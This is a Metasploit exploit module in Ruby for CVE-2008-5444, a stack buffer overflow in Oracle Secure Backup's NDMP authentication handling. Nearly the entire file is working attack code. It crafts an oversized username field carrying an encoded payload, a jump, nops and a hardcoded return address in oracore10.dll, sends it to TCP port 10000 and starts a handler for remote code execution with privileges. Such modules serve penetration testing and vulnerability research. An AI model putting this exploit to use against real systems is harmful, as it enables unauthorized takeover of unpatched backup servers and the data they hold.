##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::NDMP

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
      'Description'    => %q{
          The module exploits a stack buffer overflow in Oracle Secure Backup.
        When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
        an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-5444' ],
          [ 'OSVDB', '51340' ],
          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
        ],
      'Platform'       => 'win',
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
        },
      'Targets'        =>
        [
          [ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)',  { 'Ret' => 0x608f5a28 } ], # oracore10.dll
        ],
      'DisclosureDate' => 'Jan 14 2009',
      'DefaultTarget' => 0))

    register_options([Opt::RPORT(10000)], self.class)
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    ndmp_recv()

    username =  rand_text_alphanumeric(3789 - payload.encoded.length)
    username << payload.encoded + Rex::Arch::X86.jmp_short(6)
    username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
    username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)

    password = rand_text_alphanumeric(rand(25) + 1)

    # Create the authentication request
    auth = [
        0,               # Sequence number
        Time.now.to_i,   # Current time
        0,               # Message type (request)
        0x901,           # Message name (connect_client_auth)
        0,               # Reply sequence number
        0,               # Error status
        1                # Authentication type
      ].pack('NNNNNNN') +
      [ username.length ].pack('N') + username +
      [ password.length ].pack('N') + password +
      [ 4 ].pack('N')

    print_status("Sending authentication request...")
    ndmp_send(auth)

    handler
    disconnect
  end

end